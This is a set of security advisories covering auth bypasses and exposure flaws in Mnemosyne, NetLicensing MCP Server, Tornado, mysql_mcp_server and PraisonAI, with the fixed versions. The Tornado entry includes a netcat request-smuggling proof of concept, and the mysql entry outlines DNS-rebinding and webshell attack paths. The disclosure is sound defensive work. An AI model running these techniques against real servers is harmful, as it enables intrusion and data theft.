Mnemosyne is a memory layer for artificial intelligence agents. Prior to v3.10.1, the auth check in mnemosyne/core/sync_server.py parsed the JWT's header and payload using base64 decoding, then passed the token to a jwt library call with options that effectively disabled signature verification. The server accepted any well-formed token regardless of the signature, including tokens with alg: none and tokens signed with the wrong key. The fix in v3.10.1 replaces the broken decode with a from-scratch HS256 verifier using only the Python standard library. For users who cannot upgrade immediately, restrict network access to the sync server endpoint to trusted clients only. Firewall, reverse proxy with mTLS, or localhost bind with SSH tunnel are all viable. The vulnerability is not exploitable against an unreachable endpoint.

NetLicensing MCP Server is a natural-language interface that enables agentic applications to manage the software-licensing lifecycle in Labs64 NetLicensing. Prior to 0.1.6, network-reachable HTTP transport requests to /mcp that omit x-netlicensing-api-key, Authorization: Bearer, and the apikey query parameter pass through ApiKeyMiddleware in src/netlicensing_mcp/server.py without authentication. The downstream api_key_ctx in src/netlicensing_mcp/client.py then falls back to the operator's NETLICENSING_API_KEY and authenticates upstream NetLicensing REST API calls under the operator account. An unauthenticated attacker can invoke MCP tools to enumerate products, licenses, licensees, and transactions, create or modify licensing objects, perform validations, and execute destructive delete operations. The issue affects HTTP deployments configured with a server-side key and does not require user interaction. This issue is fixed in version 0.1.6.

### Summary When Tornado receives a request with two `Transfer-Encoding: chunked` headers, it ignores them both. This enables request smuggling when Tornado is deployed behind a proxy server that emits such requests. [Pound](https://en.wikipedia.org/wiki/Pound_(networking)) does this. ### PoC 0. Install Tornado. 1. Start a simple Tornado server that echoes each received request's body: ```bash cat << EOF > server.py import asyncio import tornado class MainHandler(tornado.web.RequestHandler): def post(self): self.write(self.request.body) async def main(): tornado.web.Application([(r"/", MainHandler)]).listen(8000) await asyncio.Event().wait() asyncio.run(main()) EOF python3 server.py & ``` 2. Send a valid chunked request: ```bash printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000 ``` 3. Observe that the response is as expected: ``` HTTP/1.1 200 OK Server: TornadoServer/6.3.3 Content-Type: text/html; charset=UTF-8 Date: Sat, 07 Oct 2023 17:32:05 GMT Content-Length: 1 Z ``` 4. Send a request with two `Transfer-Encoding: chunked` headers: ``` printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000 ``` 5. Observe the strange response: ``` HTTP/1.1 200 OK Server: TornadoServer/6.3.3 Content-Type: text/html; charset=UTF-8 Date: Sat, 07 Oct 2023 17:35:40 GMT Content-Length: 0 HTTP/1.1 400 Bad Request ``` This is because Tornado believes that the request has no message body, so it tries to interpret `1\r\nZ\r\n0\r\n\r\n` as its own request, which causes a 400 response. With a little cleverness involving `chunk-ext`s, you can get Tornado to instead respond 405, which has the potential to desynchronize the connection, as opposed to 400 which should always result in a connection closure. ### Impact Anyone using Tornado behind a proxy that forwards requests containing multiple `Transfer-Encoding: chunked` headers is vulnerable to request smuggling, which may entail ACL bypass, cache poisoning, or connection desynchronization.

## Summary In SSE/HTTP transport mode, `mysql_mcp_server` constructs `SseServerTransport` without passing `security_settings`. As a result, the MCP Python SDK's DNS-rebinding protection (Origin/Host header validation) is disabled; the Starlette application has no CORS or TrustedHost middleware; and the service binds to `0.0.0.0` by default with no authentication on any route. **Trigger condition:** `MCP_TRANSPORT=sse`. The default stdio mode is not affected. ## Attack Scenarios **Scenario A — Direct exposure:** Any network attacker can invoke `execute_sql` to run arbitrary SQL without credentials → full data dump, and via MySQL `FILE` privileges, arbitrary file read/write and RCE. **Scenario B — DNS rebinding (local bind):** An attacker lures a victim's browser to a malicious page, rebinds their domain to `127.0.0.1`, and uses the browser as a proxy to invoke `execute_sql` as same-origin. ## Root Cause In `src/mysql_mcp_server/server.py`: 1. `SseServerTransport` is constructed without `security_settings` — the SDK defaults `enable_dns_rebinding_protection` to `False`. 2. The Starlette app has no CORS or TrustedHost middleware. 3. All three routes (`/`, `/sse`, `/messages/`) are unauthenticated. 4. The service binds to `0.0.0.0` by default. 5. The sink is `cursor.execute(query)` with a fully attacker-controlled query. ## Impact - Unauthenticated arbitrary SQL execution against the configured database - Full data exfiltration and modification - If the MySQL account holds `FILE` privilege: arbitrary file read (`LOAD_FILE`) and write (`INTO OUTFILE`) — potential RCE via webshell drop - Internet-wide scanning has identified 25 publicly reachable SSE instances of this project ## Fix Released in v0.4.2: DNS-rebinding protection is now enabled by passing `TransportSecuritySettings(enable_dns_rebinding_protection=True)` to `SseServerTransport`, and the documented recommended bind address is `127.0.0.1`. ## Credits Discovered by Huanchen, SongWu (JHU), and BrookeYangRui (JHU).

PraisonAI is a multi-agent teams system. From praisonaiagents 0.6.0 until 1.6.59 and PraisonAI 3.10.0 until 4.6.59, ToolsMCPServer.run_sse() in src/praisonai-agents/praisonaiagents/mcp/mcp_server.py mounts SseServerTransport on the legacy /sse and /messages/ endpoints without default Host, Origin, or authentication enforcement. A malicious website can use DNS rebinding against a reachable local or internal SSE server, supply attacker-controlled Host and Origin headers, enumerate registered tools, and invoke them with the server user's privileges. The Streamable HTTP transport rejects the same hostile Origin, which isolates the flaw to the legacy SSE wrapper. An initial remediation was released in praisonaiagents 1.6.59 and PraisonAI 4.6.59.

PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.58, the SSE server in src/praisonai-agents/praisonaiagents/server/server.py does not consult ServerConfig.auth_token before handling /publish, /events, or /info requests. A network client that can reach the server can broadcast arbitrary events to connected clients and obtain server configuration and client-count information. This issue is fixed in praisonaiagents 1.6.58.
